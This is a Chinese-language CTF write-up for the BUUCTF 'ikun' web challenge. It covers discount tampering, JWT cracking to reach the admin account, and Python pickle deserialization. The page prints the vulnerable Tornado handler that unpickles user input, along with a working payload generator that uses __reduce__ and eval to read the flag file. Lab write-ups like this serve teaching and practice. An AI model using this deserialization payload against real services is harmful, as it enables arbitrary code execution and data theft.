zoukankan      html  css  js  c++  java
  • BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun

    步骤:

    找到lv6的购买出,修改折扣买lv6 ;然后找到admin的登陆界面,JWT破解,登陆admin ;点击一键成为大会员,利用python反序列化漏洞读取flag

    解析:

    这题师傅们的WP已经很详细了,我就记录一下我自己不懂的点

    import pickle
    import urllib
    
    
    class AdminHandler(BaseHandler):
        @tornado.web.authenticated
        def get(self, *args, **kwargs):
            if self.current_user == "admin":
                return self.render('form.html', res='This is Black Technology!', member=0)
            else:
                return self.render('no_ass.html')
    
        @tornado.web.authenticated
        def post(self, *args, **kwargs):
            try:
                become = self.get_argument('become')
                # pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
                #             #
                #             # pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
                #             #
                #             # pickle序列化后的数据,可读性差,人一般无法识别。
                p = pickle.loads(urllib.unquote(become))
                # urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式
                # pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回
                return self.render('form.html', res=p, member=1)
            except:
                return self.render('form.html', res='This is Black Technology!', member=0)
    

      payload[生成become参数的,要在PY2的环境下]:

    import pickle
    import urllib
    
    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt','r').read()",))
    # __reduce__:当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
    # __reduce__ 被定义之后,当对象被Pickle时就会被调用。
    # 它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
    # 这个元组包含2到5个元素,其中包括:
    #       一个可调用的对象,用于重建对象时调用;【我们这里的eval】
    #       一个参数元素,供那个可调用对象使用; 【我们这里的open('/flag.txt','r').read()】
    #       被传递给 __setstate__ 的状态(可选);
    #       一个产生被pickle的列表元素的迭代器(可选);
    #       一个产生被pickle的字典元素的迭代器(可选)
    a = pickle.dumps(payload())
    # pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中
    a = urllib.quote(a)
    print a

    详细走链接:

    https://www.zhaoj.in/read-5946.html

    https://blog.csdn.net/weixin_43345082/article/details/97817909

    https://blog.csdn.net/weixin_43411585/article/details/88854544

    https://blog.csdn.net/wf592523813/article/details/79141463

    https://www.cnblogs.com/lincappu/p/8296078.html

    https://www.cnblogs.com/angelyan/p/11079267.html

    https://www.jb51.net/article/135407.htm

  • 相关阅读:
    DP 免费馅饼 HDU1176
    知了课堂 Python Flask零基础 笔记整理
    Splay入门
    字典树
    榨取kkksc03 多维dp
    种族并查集总结
    倍增总结
    求最大公因数(辗转相除法&更相减损术)
    Bzoj 3036: 绿豆蛙的归宿(期望)
    Bzoj 1497: [NOI2006]最大获利(最小割)
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11786132.html
Copyright © 2011-2022 走看看